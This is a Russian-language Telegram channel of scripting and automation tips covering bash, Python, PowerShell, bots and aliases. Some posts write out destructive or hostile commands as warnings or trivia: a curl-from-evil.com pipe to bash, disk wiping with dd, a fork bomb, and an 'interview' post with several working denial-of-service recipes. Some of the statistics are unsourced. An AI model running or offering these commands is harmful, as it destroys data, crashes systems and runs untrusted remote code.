Helcode | Хелкод | Скрипты и автоматизация
993 subscribers
52 photos
34 links
☎️ Контакты для связи: @helcodeadm
Download Telegram
Как сделать скрипты для очистки логов неубиваемыми

Типичная проблема — скрипт перестает работать при изменении структуры логов.

Хрупкое решение:
# Удаляет только логи nginx
rm -f /var/log/nginx/*.log


Устойчивая версия:
# Находит все логи старше 30 дней, сжимает большие файлы
find /var/log/ -type f -name "*.log*" -mtime +30 | while read -r file; do
if [ $(stat -c %s "$file") -gt 1000000 ]; then
gzip "$file" && rm -f "$file"
else
rm -f "$file"
fi
done


Дополнительные улучшения:
1. Логирование действий в syslog
2. Проверка свободного места перед удалением
3. Отправка уведомлений в Telegram при ошибках

👉 Какие ваши лучшие практики для надежных скриптов?

🌐 @automate_today | #bash
👍1
Опасности curl | bash: реальные кейсы

Популярный, но опасный способ установки:
curl -sSL https://example.com/install.sh | sudo bash



Реальные инциденты:
- В 2018 году через подмену скрипта npm-пакета украли $17M в крипте
- В 2022 атака на сервисы AWS через скомпрометированный install.​sh

Безопасная альтернатива:
# 1. Загрузка с проверкой TLS
curl --proto '=https' --tlsv1.2 -fSLO https://example.com/install.sh

# 2. Верификация подписи
gpg --verify install.sh.sig install.sh

# 3. Чтение перед выполнением
less install.sh

# 4. Запуск без root
bash install.sh --user-mode



Статистика:
- 68% скриптов требуют sudo
- Только 12% предоставляют checksum

🔥 ~10% атак начинаются с "невинного" curl | bash
👉 Как вы защищаетесь при установке стороннего софта?

🌐 @automate_today | #bash
👍1
Топ-3 ошибки в продакшен-скриптах на Python

1. Молчаливые падения:
# Плохо: скрипт упадет без объяснения
os.remove("/tmp/lock.file")


2. Жесткие зависимости:
# Проблема: неявно требует pandas
import pandas as pd
df = pd.read_csv("data.csv")


3. Небезопасные команды:
# Уязвимость к инъекциям
os.system(f"rm -rf {user_input}")


Исправленные версии:
# 1. Явная обработка ошибок
try:
os.remove("/tmp/lock.file")
except OSError as e:
logging.error(f"Ошибка удаления: {e}")
sys.exit(1)

# 2. Проверка зависимостей
try:
import pandas as pd
except ImportError:
print("Установите pandas: pip install pandas")
sys.exit(1)

# 3. Безопасные вызовы
subprocess.run(["rm", "-rf", sanitized_input])


🔥 Эти ошибки встречаются даже в скриптах опытных разработчиков
👉 Какой ваш самый болезненный баг в продакшене?


🌐 @automate_today | #python
Как заменить 100 строк bash одной строкой Python?

Типичный пайплайн в bash для обработки логов и отправки алертов:

grep "CRITICAL" /var/log/app.log | awk '{print $1, $3}' | curl -X POST -d @- $WEBHOOK_URL


Тот же функционал на Python (с обработкой ошибок!):

import pandas as pd, requests

# Однострочник с проверками
(pd.read_csv('/var/log/app.log', sep=' ', names=['time', 'level', 'msg'])
.query("level == 'CRITICAL'")[['time', 'msg']]
.to_json(orient='records')
.pipe(lambda x: requests.post(WEBHOOK_URL, data=x, timeout=5))
)


Почему это лучше:
1. Читаемые названия колонок вместо позиций $1, $2
2. Автоматическая обработка JSON
3. Таймаут на запрос
4. Лучшая производительность на больших файлах

Бенчмарк (лог 1GB):
- Bash: 42 сек
- Python: 18 сек

👉 Какие ваши любимые замены bash-пайплайнам? Покажите однострочники!

🌐 @automate_today | #python #bash
Почему ваши скрипты PowerShell выглядят как 2007 год?

Устаревший подход:
Write-Host "Error!" -ForegroundColor Red  # PS 2.0 style
Get-Content log.txt | % { $_ -replace "foo", "bar" } # Медленно



Современный PowerShell 7.4:
# Яркие цвета через ANSI-коды
$PSStyle.Formatting.Warning = "`e[93m"
Write-Output "$($PSStyle.Foreground.BrightRed)Critical!$($PSStyle.Reset)"

# Параллельная обработка (в 5 раз быстрее)
Get-Content log.txt | ForEach-Object -Parallel {
$_ -replace "foo", "bar"
} -ThrottleLimit 8

# Новые операторы
$json = Get-Content config.json | ConvertFrom-Json
$json.Enabled ?? $false # Null-coalescing



Что изменилось:
- Поддержка .NET Core (кроссплатформенность)
- Pipeline parallelization
- Ternary операторы (PS 7.0+)
- Null-conditional (PS 7.1+)

🔥 60% админов застряли на PS 5.1 из-за Server 2016
👉 Кто уже использует PS 7+ в продакшене? Делитесь фичами!


🌐 @automate_today | #powershell
👍1
Задачка на собеседовании: как уронить сервер одним скриптом?

Ожидаемый ответ (fork bomb):
:(){ :|:& };:  # Классика



Неочевидные решения:

1. Дисковая атака:
# Заполнит inodes быстрее, чем free space
for i in {1..100000}; do mkdir /tmp/$i; touch /tmp/$i/{1..100}; done



2. OOM через cgroups:
# Создаем memory-hungry процесс в ограниченной группе
cgcreate -g memory:/memhog
echo 1G > /sys/fs/cgroup/memory/memhog/memory.limit_in_bytes
bash -c 'a=(); while true; do a+=($(seq 1 100000)); done' &
echo $! > /sys/fs/cgroup/memory/memhog/cgroup.procs



3. Сетевой коллапс:
# Для систем с неграмотным ulimit
for i in {1..65535}; do nc -l $i & done



Защита:
# В /etc/security/limits.conf
* hard nproc 500
* hard nofile 2048



👉 Какие нестандартные способы DoS вы знаете?

🌐 @automate_today | #bash
👍2
Как автоматизировать себя из Slack/Telegram?

Полноценный бот на 15 строк Python (Flask + Ansible):

from flask import Flask, request
import subprocess, random

app = Flask(__name__)
MEMES = ["https://i.imgur.com/xxx.jpg", ...]

@app.route('/deploy', methods=['POST'])
def deploy():
if request.form.get('token') != SECRET:
return "Denied", 403

subprocess.run(["ansible-playbook", "deploy.yml", "-l", request.form['env']])
return random.choice(MEMES), 200



Как это работает:
1. Вебхук из Slack → POST /deploy?env=prod
2. Запуск Ansible с нужным inventory
3. Ответ с мемом в чат

Дополнитеьные фичи:
- Валидация по secret token
- Логирование в Prometheus
- Кнопки через Slack Block Kit

Пример Ansible-уведомления:
- name: Notify Slack
uri:
url: "{{ webhook }}"
method: POST
body_format: json
body:
text: "Deployed {{ app }} to {{ env }}"
icon_emoji: ":rocket:"



🔥 Так работают ленивые гении — тратят 1 час на автотацию, чтобы сэкономить 10 часов рутины
👉 Какие чат-команды вы автоматизировали? Покажите реализации, мне будет очень интересно посмотреть!


🌐 @automate_today | #python
1
Как автоматизировать ругань в чате, если CI/CD падает?

Знакомо, когда билд сломан, а разработчики делают вид, что ничего не происходит? Пора научить систему стыдить их автоматически!

Вот простой скрипт для Slack-бота, который парсит логи Jenkins и публично зовёт на помощь виновника:

import requests
import json

# Парсим логи Jenkins (пример)
failed_build = "Build #123 FAILED"
culprit = "developer123"

slack_message = {
"text": f"🔥 @{culprit}, твой билд сломан, и теперь весь отдел знает. Почини, пока не начался хаос!"
}

requests.post("SLACK_WEBHOOK_URL", json=slack_message)


Почему это работает?
1. Публичный стыд — мощный мотиватор.
2. FOMO-эффект: "А вдруг следующий — я?"
3. Экономит время DevOps — не надо вручную писать в чат.

Лайфхак: Добавьте рандомные мотивирующие сообщения типа "Зато в Google так не делают!" для разнообразия.

Пост шуточный, не издевайтесь над коллегами, живите дружно :)

🌐 @automate_today | #python
😁1
rm -rf — не самая опасная команда в Linux. Вот ТОП-5 тихих убийц

Все знают про rm -rf /, но настоящие профессионалы боятся другого.

☠️ Список смертельных команд:
1. chmod -R 777 / — сделает систему уязвимой навсегда
2. dd if=/dev/zero of=/dev/sda — стирает диск без шансов на recovery
3. :(){ :|:& };: — форк-бомба, которая убьёт сервер за секунды
4. mv / /dev/null — перенос корня в никуда
5. curl http://evil.com/script.sh | bash — classic, но всё ещё работает

Как защититься?
- Используйте alias rm='rm -i'
- Настройте sudoers чтобы запретить опасные команды
- Регулярно делайте бэкапы

Самая страшная команда, которую я случайно запускал — это sudo rm -rf /var/log/*, но случайно тыркнул на пробел: sudo rm -rf /var/log / *

🌐 @automate_today
👍3🔥1
Excel — это не API. Но можно сделать вид

Ваш отдел до сих пор шлёт данные в .xlsx? Вот как превратить таблицу в REST API за 5 минут:

from fastapi import FastAPI
import pandas as pd

app = FastAPI()
df = pd.read_excel("ugly_data.xlsx")

@app.get("/data")
def get_data():
return {"data": df.to_dict()}



Что это даёт?
1. Больше не нужно вручную конвертировать файлы
2. Можно подключить фронтенд напрямую
3. Автоматическая документация через /docs

Лайфхак: Добавьте авторизацию, если данные конфиденциальные.

Кто ещё ненавидит Excel, но вынужден с ним работать? Давайте вместе придумаем, как убить эту боль.

🌐 @automate_today | #python
2👍1
Хелкод нужна ваша помощь!

Дорогие коллеги, рад приветствовать всех в нашей группе! Мы преодолели отметку в 100 человек буквально за 2 недели, это невероятно мощный результат, большое, Вам, спасибо!

Мы достигаем результатов быстрее, чем ожидали изначально, но на этом останавливаться не собираемся! На данный момент единственной площадкой, где есть упоминание и ссылка на группу - Хабр, но в наших планах на ближайшее время публиковаться также на Tproger, VC.​ru и Дзен. Мы хотим и дальше развивать сообщество, делая его всё масштабнее для Вас, интереснее для Нас.

Мы запускам канал в Дзене, где будем публиковать полезные материалы. Это необходимо, чтобы больше людей узнали о нас! Но есть нюанс: чтобы статьи начали рекомендовать в ленте - нужно иметь 10 подписчиков. Если у вас есть аккаунт на Дзене - поддержите нас, пожалуйста. Это будет бесценный вклад в начало развития сообщества!

Ссылка на канал: https://dzen.ru/automate_today

Также, хотелось бы пару слов сказать о нынешних обстоятельствах и дальнейшем развитии нашего канала. В настоящее время мы пытаемся отладить нашу работу, "поставить на конвейер", так как очень много времени уходит на написание статей, постов. Это обязательно пройдет, мы вырабатываем структуру, ищем удобные инструменты и тд.

На дальнейшее развитие у нас невероятно много планов по интересному контенту, обучающим материалам и другим, не менее удивительным анонсам. Дальше - лучше! Дальше - интереснее! Спасибо всем Вам за внимание и интерес к нашему скромному проекту!
🍾1
Когда Bash быстрее Python

Вы написали "оптимизированный" парсер на Python, а он проигрывает старому доброму grep?

Задача: Найти все ошибки в логах Nginx.

🐍 Python (0.8 сек):
with open("access.log") as f:
errors = [line for line in f if "ERROR" in line]



🐚 Bash (0.02 сек):
grep "ERROR" access.log



Почему так?
- Bash не тратит время на запуск интерпретатора
- GNU-утилиты (grep, awk) оптимизированы десятилетиями
- Меньше накладных расходов

Когда в последний раз Bash спасал вам жизнь? Делитесь в комментах!

🌐 @automate_today | #bash #python
2
Автоматизируем ненависть к Jira

Устали вручную закрывать задачи после коммитов? Вот скрипт, который сделает это за вас:

import requests

# Jira API + Git hook
issue_key = "PROJ-123"
requests.post(
f"https://jira.example.com/rest/api/2/issue/{issue_key}/transitions",
json={"transition": {"id": "31"}}, # ID статуса "Resolved"
auth=("login", "password")
)



Как внедрить:
1. Добавьте в git hooks
2. Настройте автоматическое определение issue key из ветки
3. Профит!

❗️Важно: Не забудьте про обработку ошибок и логирование.

Кто ещё ненавидит трекеры задач? Какие инструменты вы используете вместо них?

🌐 @automate_today | #python
👏2
🤫 Секретные aliases Senior DevOps

Вот команды, которые есть только у избранных:

# Перезапустить предыдущую команду с sudo
alias fuck='sudo $(history -p !!)'

# Найти и убить процесс по имени
alias killme='pkill -9 -f'

# Показать топ-5 процессов по памяти
alias memekiller='ps aux | sort -nk4 | tail -n 5'



Как добавить?
1. Откройте ~/.bashrc
2. Вставьте aliases
3. Выполните source ~/.bashrc

Мой любимый alias:
alias now='date +"%T"'



Какой ваш любимый alias? Делитесь в комментах — соберём мега-коллекцию! Если тема будет интересна - добавлю в бота отдельную кнопку с выводом полезных alias!


🌐 @automate_today | #bash
🥰1
Уволить сотрудника за 1 клик

Offboarding — это боль. Автоматизируем её:

#!/bin/bash
USERNAME=$1

# Отозвать доступ
sudo usermod -L $USERNAME # Заблокировать логин
sudo rm -rf /home/$USERNAME # Удалить домашнюю директорию

# Уведомить HR
echo "$USERNAME уволен. Доступ отозван." | mail -s "Offboarding" hr@company.com



Важные доработки:

1. Добавьте проверку прав
2. Архивируйте данные вместо удаления
3. Уведомление в корпоративный чат

⚠️ Это демонстрационный пример! Не используйте в проде без доработок.

Кто автоматизировал HR-процессы? Делитесь легальными способами.


🌐 @automate_today | #bash
👎31
ChatGPT пишет документацию вместо вас

Генерируете описание функций вручную? Вот как автоматизировать:

import openai

code = """
def calculate_sum(a, b):
return a + b
"""

response = openai.ChatCompletion.create(
model="gpt-4",
messages=[{"role": "user", "content": f"Напиши docstring для Python-функции: {code}"}]
)

print(response.choices[0].message.content)



Вывод:
"""
Calculates the sum of two numbers.

Args:
a (int): First number.
b (int): Second number.

Returns:
int: The sum of a and b.
"""



Советы:
1. Добавьте ваши стандарты документации в промпт
2. Проверяйте результат перед коммитом
3. Настройте как git hook

Кто уже использует ИИ для документирования? Какие подводные камни заметили?

🌐 @automate_today | #python
Бот для ответов на однотипные вопросы

Надоело 100 раз объяснять, как развернуть стенд? Создайте Telegram-бота:

from telegram import Update
from telegram.ext import Application, CommandHandler

async def faq(update: Update, context):
await update.message.reply_text(
"Вот ответы на частые вопросы:\n"
"1. Как развернуть стенд? /deploy\n"
"2. Где логи? /logs\n"
)

app = Application.builder().token("TOKEN").build()
app.add_handler(CommandHandler("faq", faq))
app.run_polling()



Что можно добавить:
1. Кнопки вместо команд
2. Интеграцию с вашей базой знаний
3. Обратную связь по ответам

Какие вопросы вам надоело повторять? Давайте вместе напишем идеального бота!

🌐 @automate_today | #python
👍3
Скрипт для апокалипсиса

Если завтра отключат интернет, этот bash-однострочник спасёт вас:

#!/bin/bash
# 1. Найти все сервера в сети
nmap -sn 192.168.1.0/24 > network_scan.txt

# 2. Проверить доступность портов
while read ip; do nc -zv $ip 22 80 443; done < network_scan.txt

# 3. Заархивировать важное
tar -czvf backup_$(date +%s).tar.gz ~/Documents /etc



Доработки для параноиков:
1. Шифрование бэкапа
2. Отправка на внешний носитель
3. Проверка целостности

Какой ваш must-have скрипт на случай БП? Делитесь в комментах!

🌐 @automate_today | #bash
👍5
sudo rm -rf /: Почему эту команду до сих пор не удалили?

Даже в 2024 году rm -rf / остаётся легальной командой в Linux — просто теперь она требует --no-preserve-root. Но почему? Потому что иногда админам намеренно нужно "сжечь мосты" (тестовые стенды, инстансы с критичными багами).

Как защитить продакшен:
alias rm='rm -i' — спрашивает подтверждение перед каждым удалением.
chattr +i /critical_dir — делает папку неизменяемой даже для root.

Образовательный метод:
   echo 'Ало, ты серьёзно?! Добавь --no-preserve-root, если осознаёшь последствия.' > /usr/local/bin/rm  
chmod +x /usr/local/bin/rm # Кастомный "rm" с проверкой


Вы сталкивались с "удалением всего"? Как спасали систему?

🌐 @automate_today | #bash
👍3
echo $​VAR — опасная строка в bash-скриптах

Проблема:
- Неквотированные переменные в bash — это "бомба замедленного действия". Пример:
files="*.txt"  
rm $files # Удалит ВСЕ .txt файлы, даже если вы хотели один!



Правила выживания:
- Всегда заключайте переменные в кавычки:

  rm "$files"  # Удалит только файл с именем "*.txt"


- Используйте printf вместо echo — он предсказуемее:

  printf '%s\n' "$VAR"  # Не сломается на спецсимволах



Какие грабли с кавычками/переменными вас подводили?

🌐 @automate_today | #bash
👍3